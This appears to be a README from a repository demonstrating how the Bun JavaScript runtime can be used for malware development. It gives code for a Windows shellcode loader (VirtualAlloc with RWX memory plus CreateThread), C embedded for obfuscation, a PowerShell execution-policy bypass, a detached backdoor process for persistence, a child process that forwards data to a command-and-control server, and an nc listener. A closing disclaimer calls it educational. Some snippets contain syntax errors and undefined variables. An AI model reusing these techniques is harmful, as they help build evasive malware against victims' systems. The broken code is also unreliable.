This repository stores some examples of the usage of the Bun language for Malware Development
Bun allows you to compile TypeScript code into single file executables that runs on any platform, with no extra requirements. Build it and ship it.
The --target flag lets you compile your standalone executable for a different operating system, architecture, or version of Bun than the machine you’re running bun build on.
Example on how to compile for Windows
$ bun build --compile --target=bun-windows-x64 malware.ts --outfile malware.exe
| Parameter | Operating System | Architecture |
|---|---|---|
| bun-linux-x64 | Linux | x64 |
| bun-linux-arm64 | Linux | arm64 |
| bun-windows-x64 | Windows | x64 |
| bun-windows-x64 | Windows | arm64 |
| bun-darwin-x64 | macOS | x64 |
| bun-darwin-arm64 | macOS | arm64 |
| bun-linux-x64-musl | Linux | x64 |
| bun-linux-arm64-musl | Linux | arm64 |
Bun's FFI (Foreign Function Interface) module allows you to efficiently call native libraries from JavaScript. It works with any language that supports the C ABI (Zig, Rust, C/C++, C#, Nim, Kotlin, etc.), enabling direct interaction with system libraries and native code.
Direct System Calls: Call native system functions directly without going through Node.js APIs, making detection more difficult and enabling lower-level system access.
Memory Manipulation: Work with raw pointers and memory buffers, allowing for direct memory reads/writes, process injection, and shellcode execution.
Native Library Access: Load and call functions from system libraries (Windows API, POSIX functions, etc.) to perform operations like:
- Process creation and manipulation
- File system operations
- Network operations
- Registry/configuration access
- Anti-debugging techniques
Here is a snippet of code that loads shellcode into memory:
import { dlopen, FFIType } from "bun:ffi";
const lib = dlopen(`kernel32.dll`, {
VirtualAlloc: {
args: [FFIType.ptr, FFIType.u32, FFIType.u32, FFIType.u32],
returns: FFIType.ptr,
}
CreateThread: {
args: [FFIType.ptr, FFIType.u32, FFIType.ptr, FFIType.ptr, FFIType.u32, FFIType.ptr],
returns: FFIType.ptr,
},,
});
const shellcode = new Uint8Array([...]);
const address = kernel32.symbols.VirtualAlloc(null, shellcode.length, 0x3000, 0x40);
const buf = toBuffer(address, 0, shellcode.length);
buf.set(shellcode);
const threadHandle = kernel32.symbols.CreateThread(null, 0, address, null, 0, null);Bun's built-in C compiler allows you to compile and run C code directly from JavaScript with low overhead. It uses TinyCC to compile C code on-the-fly and link it with the JavaScript runtime, efficiently converting types in-place.
No External Build Tools: Compile C code directly from JavaScript without requiring external compilers, build systems, or separate compilation steps. This reduces the attack surface and makes the malware more self-contained.
Inline Native Code: Embed C code directly in your TypeScript/JavaScript project, allowing you to write performance-critical or low-level operations without maintaining separate native modules.
N-API Support: Use Node-API (napi_value, napi_env) to pass complex JavaScript objects, arrays, and strings between C and JavaScript, enabling sophisticated data manipulation and callback mechanisms.
Low Overhead: TinyCC compiles quickly with minimal overhead, making it practical to compile C code at runtime or during the build process.
System-Level Operations: Write C code that performs direct system calls, memory manipulation, and hardware-level operations that would be difficult or impossible in pure JavaScript.
Obfuscation: Embedding C code within JavaScript makes reverse engineering more challenging, as analysts need to understand both the JavaScript runtime and the compiled C code.
import { cc } from "bun:ffi";
import source from "./malware.c" with { type: "file" };
const { symbols } = cc({
source,
symbols: {
executePayload: {
args: ["napi_env", "napi_value"],
returns: "napi_value",
},
},
});
const result = executePayload(/* JavaScript object */);Corresponding C code:
#include <node/node_api.h>
napi_value executePayload(napi_env env, napi_value payload) {
// Process payload and return result
napi_value result;
napi_create_string_utf8(env, "Executed", NAPI_AUTO_LENGTH, &result);
return result;
}Bun Shell is a cross-platform bash-like shell that runs shell commands directly from JavaScript/TypeScript. It's implemented in Zig and runs in the same Bun process, providing seamless JavaScript interop with shell commands.
Cross-Platform Execution: Works on Windows, Linux, and macOS without requiring external dependencies like rimraf or cross-env. Common shell commands (ls, cd, rm, echo, etc.) are implemented natively.
Redirection & Piping: Full support for bash-like redirection (<, >, >>, 2>, &>) and piping (|), allowing complex command chaining and data manipulation.
Glob Patterns: Native support for glob patterns including **, *, and brace expansion ({a,b,c}), useful for file operations and batch processing.
Execute command and capture output:
import { $ } from "bun";
const output = await $`whoami`.text();
console.log(output); // Current userChain commands with pipes:
const processes = await $`ps aux | grep ${processName}`.text();Redirect output to file:
await $`echo ${payload} > ${tempFile}`;Use JavaScript objects as input/output:
const data = new Uint8Array([0x48, 0x65, 0x6c, 0x6c, 0x6f]);
await $`cat < ${data} | base64 > ${outputFile}`;Environment variable manipulation:
await $`export SECRET=${apiKey} && ./malware.sh`.env({ ...process.env, SECRET: apiKey });Cross-platform file operations:
await $`rm -rf ${tempDir}`;Bun's spawn API allows you to create and manage child processes with fine-grained control over process execution, I/O streams, and inter-process communication (IPC).
Process Control: Spawn child processes with full control over command arguments, working directory, environment variables, and process options.
Stream Management: Direct access to stdin, stdout, and stderr streams, allowing real-time data processing and bidirectional communication with child processes.
Inter-Process Communication (IPC): Establish IPC channels between parent and child processes for exchanging messages, enabling complex multi-process malware architectures.
Resource Management: Monitor process status, exit codes, and resource usage. Set timeouts, buffer sizes, and handle process lifecycle events.
Detached Processes: Launch processes that continue running after the parent process exits, useful for persistence mechanisms.
Signal Handling: Send signals to child processes (SIGTERM, SIGKILL, etc.) for process control and cleanup.
Basic process spawning and output capture:
import { spawn } from "bun";
const proc = spawn(["powershell.exe", "-ExecutionPolicy", "Bypass", "-File", scriptPath]);
const output = await proc.stdout.text();
const errors = await proc.stderr.text();Spawn with IPC for bidirectional communication:
const child = spawn(["bun", "payload.js"], {
ipc(message) {
// Handle messages from child process
if (message.type === "data") {
await sendToC2(message.payload);
}
},
cwd: "/tmp",
env: { ...process.env, HIDDEN_VAR: "value" },
});
// Send data to child process
child.send({ command: "execute", payload: encryptedData });Spawn detached process for persistence:
const persistent = spawn(["bun", "backdoor.js"], {
detached: true,
stdio: ["ignore", "ignore", "ignore"],
});
persistent.unref(); // Allow parent to exitSpawn with custom I/O streams:
const proc2 = spawn(["nc", "-l", "-p", "4444"], {
stdin: "pipe",
stdout: "pipe",
stderr: "pipe",
});
// Write to process stdin
proc2.stdin.write(JSON.stringify(command));
proc2.stdin.end();
// Read from process stdout
for await (const chunk of proc2.stdout) {
await processResponse(chunk);
}This project is provided for educational and research purposes only. The code and techniques demonstrated in this repository are intended to promote the understanding of malware analysis, reverse engineering, and cybersecurity defense. Do not use these examples for unauthorized or illegal activities.
Running or distributing malware is illegal and unethical unless performed in a controlled environment explicitly for learning or authorized security research.
The authors are not responsible for any misuse of this material or any damages caused. Use responsibly and always comply with all applicable laws and regulations.